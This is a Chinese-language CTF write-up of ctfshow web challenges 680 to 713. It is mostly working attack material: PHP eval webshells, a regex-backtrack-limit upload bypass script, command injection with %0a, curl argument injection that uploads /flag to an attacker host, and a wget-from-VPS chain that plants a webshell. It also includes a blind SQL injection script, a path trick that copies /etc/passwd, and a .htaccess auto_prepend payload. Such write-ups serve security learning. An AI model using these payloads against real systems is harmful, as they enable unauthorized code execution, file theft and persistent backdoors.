web680
code=phpinfo(); 很多函数被禁了,可以看看源码 code=copy('index.php','1.txt');
<?php
error_reporting(0);
$code = $_POST['code'];
eval($code);
?>
post code to run!
code=var_dump(scandir(".")); 当前目录下有个 secret_you_never_know,直接访问拿到flag
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.txt" [3]=> string(9) "index.php" [4]=> string(21) "secret_you_never_know" } post code to run!
web681
随便输点什么都是一个页面,绿帽子无语 抓个包发现可以注入 但是注意这里会把输入的单引号直接换成空吞掉
payload
name = ||1
就相当于这个样子,构造闭合
select count(*) from ctfshow_users where username = '.....' || 1
web682
web683
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
sleep((int)$_GET['秀']);
可以用16进制绕,会被强转成 0
0x755000
web684 create_function()
之前做过类似的,web147
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");
web685
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
关键是绕过正则传马
PHP 为了防止正则表达式的拒绝服务攻击,给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万
如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是直接 false。这样我们就可以绕过正则表达式了
import requests
url = "http://b83ed53b-14bc-4499-a75f-de56ae248803.challenge.ctf.show/"
files = {
'file': "<?php eval($_POST[1]);echo 'paidx0';?>"+'a' * 1000000
}
respone = requests.post(url=url,files=files)
for i in range(11):
new_url = url+'data/{}.php'.format(i)
new_respone = requests.get(new_url).text
if 'paidx0' in new_respone:
print(i)
web686(无参RCE)
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
正则的意思是多次匹配像这种格式的 a(b(c(d()))),
将他们替换成空,最后是 ;结尾的
姿势一 getallheaders()
前提是中间件要是Apache的才行, 返回一个数组,当前请求中所有的HTTP标头
所以如果我们在HTTP头中插入恶意代码,就可以从这个数组中提取出来 再HTTP头尾部插入shell: phpinfo(); ,用 end()来拿我们的最后一个值shell
所以如果把 var_dump 换成 eval 就可以执行phpinfo了
?exp=eval(end(getallheaders()));
姿势二 get_defined_vars()
它并不是获取的headers,而是获取的四个全局变量$_GET ,$_POST ,$_COOKIE ,$_FILES ,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中,利用current() 或者 pos() 将这个数组取出
类比上面,我们同样可以用 end() 将最后一个变量值取出,然后直接 eval
?exp=eval(end(pos(get_defined_vars())));&shell=phpinfo();
姿势三 session_id()
将恶意代码写到Cookie 的 PHPSESSID中,然后利用session_id()去把他读出来,然后直接 eval session_id()需要先开启session才能使用,所以要先session_start() 需要注意的是,PHPSESSID 只能是字母数字 - 所以我们可以先16进制编码再丢进去
?exp=eval(hex2bin(session_id(session_start())));
web687
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
payload :?ip=127.0.0.1%0acat /flaaag
%0a绕过过滤管道符
web688 escapeshellcmd()
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);
假设传入参数
127.0.0.1' -v -d a=1'
由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
被 \' 分成两部分
'127.0.0.1' \' '-v -d a=1' \'
接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理
转义后的\\被解释成\,而不再是转义字符,形成单引号闭合
'127.0.0.1' \\ '' -v -d a=1'\\'
payload
?url=http://ip:port/' -F file=@/flag '
web689 ssrfme
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
就是将 file_get_contents($file) 读出的内容写到 $path 中去
?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php phpinfo();?> 返回值源码中插入了phpinfo(),我们最后只需把这个源码写到文件中就可以了 ?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>
web690
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}
exec('./ ' . implode(" ", $args));
传入数组中只能是字母数字下划线,最后通过 implode() 压缩数组成字符串执行
但是因为exec是不返回执行结果的,所以直接构造命令看回显就不现实,还是写一句话马上去吧
关于preg_match() 前面也说过,是可以用%0a 来绕过的,换行符可以分割命令,执行多条命令
vps上可以创建一个index.html,文件内容
<?php
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
为什么是html不是直接php呢,因为过程中文件内容会被解析,wget下载下来的内容就不是原始内容了
ip进制转换工具
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
等价于 exec(./1; mkdir a;cd a;wget 2130706433)
创建了一个a目录,并把index.html下载进去了
现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
等价于 exec(./1; tar cvf shell a)
a文件夹被打包成shell,执行php代码
args[]=1%0a&args[]=php&args[]=shell
等价于 exec(./1; php shell)
最后只需要访问index.html中代码生成的shell.php就可以了
web691
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了
判断出有3个列
username='|| 1 order by 3
order by 的一个盲注小技巧
order by 进行排序,如果小于那就在第一列,如果大于就在后一列,所以可以盲注flag
import requests
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://efa8df9c-daf3-42eb-bb86-53cf6669ae7d.challenge.ctf.show/"
k=''
for i in range(1,50):
print(i)
for j in s:
data={
'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
'password':'1111'
}
r=requests.post(url,data=data)
print(data['username'])
if("</code>admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break
web692
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
先转义引号,然后将传入的内容用单引号包住又再次写入
比如传入
aaa; phpinfo();
'aaa; phpinfo();//'
如果在读取一次会怎么样
\'aaa; phpinfo();//\'
'\'aaa; phpinfo();//\''
会发现 phpinfo(); 成功逃逸出单引号
payload
option=;eval($_POST[1]);
option=%00
web693
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
可以发现function可控,然后include包含$file,利用extract变量覆盖来包含出文件
?function=extract&file=php:
?function=extract&file=php:
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
if(empty($_SESSION['name'])){
session_start();
echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
payload
?function=extract&file=data:
POST: 360=system('cat /flag');
web694
$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
$content = $_POST['content'];
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
if($action=='ctfshow'){
file_put_contents($path,$content);
意思就是将$content 写到$path 路径中
$path = ./ip/file
所以可以直接写马了
web695
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}
if(file.path.toString().search("/dev/fd") != -1){
file.path="/dev/null"
}
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "no_such_file_~"
}
});
payload
{"files": {"file":{"name":"paidx","path":"/etc/passwd"}}}
/etc/passwd 会被复制到 paidx文件里
只需要下载 paidx文件就拿到了/etc/passwd 里的数据
在 downloadfile/paidx 下载文件就行
web696
web697
首页是一片黑,源码发现参数,会判断 NOHO是大了还是小了 直接给一个数组,NULL == 0绕过了
来到下一个登录页,看源码,发现单引号中的内容好像是乱码耶,看了大佬的解答是被MD5给加密了
md5加密后的十六进制自带单引号的几个字符串
ffifdyop
e58
4611686052576742364
web698
web711
robos.txt中有提示信息 ctfshow_love_you session_id 是jwt,尝试伪造 登录进去,flag在图片上
web712
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) !== 0) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
代码的意思简单点说就是删了—》又写—》又删 stristr 函数 用换行绕过就可以 然后再利用.htaccess 包含自身
详细思路可以看看这几篇文章 Apache的.htaccess利用技巧 XNUCA2019 ez系列web题解 [XNUCA2019Qualifier]EasyPHP XNUCA2019Qualifie
payload
php_value auto_prepend_fi\
le ".htaccess"
?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%31%5d%29%3f%3e%20%5c
这题卡了很久,开始试的时候可以执行phpinfo(),我就在想直接反弹shell吧
但是不知道什么原因一直没弹出来,一直卡在这里又一直试,害
web713
|